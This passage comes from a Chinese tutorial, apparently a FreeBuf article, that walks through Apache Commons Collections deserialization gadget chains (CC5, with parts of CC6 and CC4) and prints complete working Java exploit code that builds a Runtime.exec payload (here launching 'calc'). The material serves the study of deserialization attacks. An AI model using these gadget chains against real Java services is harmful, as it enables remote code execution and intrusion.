HashMap(), templates); // tiedMapEntry.hashCode(); HashMap hashMap = new HashMap(); //这一步就会弹计算器,因为put的时候也会对key进行计算hashCode hashMap.put(tiedMapEntry,"za1za1"); //为了解决这个问题,我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组 //put结束后在利用反射修改回来 Class<? extends TiedMapEntry> aClass2 = tiedMapEntry.getClass(); Field map = aClass2.getDeclaredField("map"); map.setAccessible(true); map.set(tiedMapEntry,defaultedMap); //hashMap.hashCode(); //弹出计算器,说明没问题 //序列化和反序列化 // serialObj(hashMap); unSerialObj(); } //序列化 public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
CC4链
略,本质和CC3一样,只是后面的链不同,详情文末见图CC链汇总。
CC5链
前面和CC6一样
到defaultedMap(lazyMap)后面使用的是TiedMapEntry的toString方法。
TiedMapEntry
public toString toString() { return getKey() + "=" + getValue(); } //============================================================ public Object getValue() { return map.get(key); } //============================================================ public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; }
BadAttributeValueExpException
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。
ObjectInputStream.GetField gf = ois.readFields(); : 这行代码通过ObjectInputStream对象ois的readFields()方法创建了一个ObjectInputStream.GetField对象gf。 ObjectInputStream.GetField是一个内部类,用于获取反序列化对象的字段值,但不直接返回字段值,而是提供一种访问字段值的方式。 Object valObj = gf.get("val", null); 这行代码使用刚才创建的 ObjectInputStream.GetField对象gf的get()方法获取指定字段名的字段值。 第一个参数是字段名,这里是"val"。 第二个参数是默认值,如果字段不存在,则返回默认值。这里设置为null
完整链代码
package com.haozai.serialTest.CC; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.DefaultedMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; /** * @author jackliu Email: * @description: CC5链 * @Version * @create 2023-08-07 20:32 */ public class CC5 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //初始化 DefaultedMap defaultedMap = new DefaultedMap(null); //反射的方式注入value的值 Class<? extends DefaultedMap> aClass = defaultedMap.getClass(); Field value = aClass.getDeclaredField("value"); value.setAccessible(true); value.set(defaultedMap,chainedTransformer); //调用get // defaultedMap.get(1); //成功弹出计算器 TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, "无所谓是什么"); // tiedMapEntry.toString(); //弹窗 //因为再构造方法中也调用了toString方法,因此我我们暂且把参数设置为null,等有了对象再反射赋值。 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class<? extends BadAttributeValueExpException> aClass1 = badAttributeValueExpException.getClass(); Field val = aClass1.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry); // serialObj(badAttributeValueExpException); unSerialObj(); } public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); //先readObject ObjectInputStream.GetField gf = objectInputStream.readFields(); System.out.println(gf); return o; } }
总结:
CC链汇总
任意命令执行主要类的关系
其中密最密集的虚线是查找的下一个利用类,不是继承、实现关系。其他的是继承实现关系,虚线是实现接口,空心箭头实线是继承关系。
任意代码执行的主要类关系图
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)